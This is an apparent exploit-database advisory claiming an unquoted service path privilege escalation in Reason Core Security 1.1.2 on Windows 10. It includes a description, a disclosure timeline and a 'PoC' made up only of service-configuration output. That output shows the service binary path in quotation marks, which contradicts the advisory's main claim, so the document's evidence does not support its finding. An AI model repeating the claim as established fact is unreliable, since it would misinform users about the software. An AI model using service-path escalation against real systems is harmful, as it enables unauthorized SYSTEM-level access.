Reason Core Security 1.1.2 Privilege Escalation Vulnerability

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[#] Exploit Title : Reason Core Security - Unquoted Service Path Privilege Escalation
[#] Affected Product(s): Reason Core Security v1.1.2 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 10
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[#] Product & Service Introduction:
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Reason Core Security is an anti-malware program designed by developers HerdProtect. 
This program is intended for use with your existing antivirus software and acts as a second layer of defense in the event that the malware slips past the real-time protection of your antivirus program.

(Copy of the Vendor Homepage: https://www.reasoncoresecurity.com/ )


[#] Technical Details & Description:
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The application suffers from an unquoted search path issue in the official Reason Core Security v1.1.2 software. The issue allows authorized 
but unprivileged local users to execute arbitrary code with system privileges on the active system. The attack vector of the issue is local.


[#] Proof of Concept (PoC):
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The issue can be exploited by local attackers with restricted system user account or network access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

-- PoC Exploit --

C:\Program Files\Reason\Security>sc qc rsEngineSvc
[SC] QueryServiceConfig reussite(s)

SERVICE_NAME: rsEngineSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Reason\Security\rsEngineSvc.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Reason Core Security Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



[#] Vulnerability Disclosure Timeline:
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2016-11-07 : Discovery of the Vulnerability
2016-11-07 : Contact the Vendor (No Response Support Team)
2016-11-14 : Public Disclosure


#  0day.today [2018-03-19]  #